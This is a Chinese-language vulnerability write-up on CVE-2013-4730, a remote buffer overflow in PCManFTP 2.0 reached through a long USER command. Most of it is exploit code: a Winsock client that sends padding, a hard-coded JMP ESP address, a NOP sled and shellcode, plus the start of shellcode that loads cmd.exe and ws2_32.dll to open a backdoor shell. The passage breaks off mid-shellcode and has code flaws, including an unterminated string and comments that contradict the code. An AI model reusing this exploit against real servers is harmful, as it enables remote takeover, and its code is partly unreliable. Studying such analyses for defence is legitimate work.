通过一个远程溢出漏洞实现开后门的操作
PCManFTP v2.0(CVE-2013-4730)漏洞分析
软件名称:PCManFTP
软件版本:2.0
漏洞模块:PCManFTPD2.exe
模块版本:2.0.0.0
编译日期:2005-01-01 操作系统:Windows 7
漏洞编号:CVE-2013-4730
危害等级:高危
漏洞类型:缓冲区溢出
威胁类型:远程
1. 软件简介
PCMan’s FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
2. 漏洞成因
PCMan’s FTP Server 2.0.0版本中存在缓冲区溢出漏洞,没有正确验证用户提供的输入,远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
3. 利用过程
3.1 前提
需要些一份能与FTP进行交互的代码:
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址(INADDR_ANY)上绑定一个端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("127.0.0.1");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR *)& stService, sizeof(stService));
// 4. 构造Exploit
char cExpolit[5000] = { 0x00 }; // Exploit容器
char cFill[5000] = { 0x00 }; // 填充字节
char cNOP[51] = { 0x00 }; // 滑板指令区
char cRetnAddr[5] = "\xE5\x28\xF4\x75"; // JMP ESP:0x75DFE555
memset(cFill, 'A', 2006); // 由Mona得到的偏移
memset(cNOP, '\x90', 50); // 少填充1字节,如果变量cNOP后面不为0x00,也会被当成字符链接进来
sprintf_s(cExpolit, "%s%s%s%s%s%s", "USER ", cFill, cRetnAddr, cNOP, bShellcode2, "\r\n");
// 5. 向FTP发送Exploit
char szRecv[0x100] = { 0 };
char *pCommand = "USER
// 5.1 接受欢迎语
recv(stListen, szRecv, sizeof(szRecv), 0);
// 5.2 发送登陆请求
send(stListen, cExpolit, strlen(cExpolit), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
// 6. 关闭相关句柄并释放相关资源
closesocket(stListen);
WSACleanup();
3.2 Fuzz
运行Windbg,使用Mona插件生成一段3000字节长度的测试字符串,用于确定溢出点。
运行程序,触发溢出后,可用命令得到溢出点的偏移位置
接下来可以借助Mona在目标程序空间找到一个跳板指令“JMP ESP”,命令:!py mona jmp –resp –m “kernel32.dll”,由于我的Mona这个命令不好使,所以用X86dbg随便找了一个跳板指令。
3.3 ShellCode编写
sub esp, 0x20; // 开辟一段栈空间,增加健壮性
push ebp;
mov ebp, esp;
//pushad;
sub esp, 0x20;
jmp ShellCode;
// [tag_Next-0x25] "cmd.exe\0"
_asm _emit(0x63)_asm _emit(0x6D)_asm _emit(0x64)_asm _emit(0x2E)
_asm _emit(0x65)_asm _emit(0x78)_asm _emit(0x65)_asm _emit(0x00)
// [tag_Next-0x1D] "ws2_32.dll\0"
_asm _emit(0x77)_asm _emit(0x73)_asm _emit(0x32)_asm _emit(0x5F)
_asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)
// [tag_Next-0x12] "kernel32.dll\0"
_asm _emit(0x6B)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x6E)
_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x33)_asm _emit(0x32)
_asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)
_asm _emit(0x00)
ShellCode:
call Next;
Next:
pop ebx;
mov[ebp - 0x04], ebx; // Local_1 = Shellcode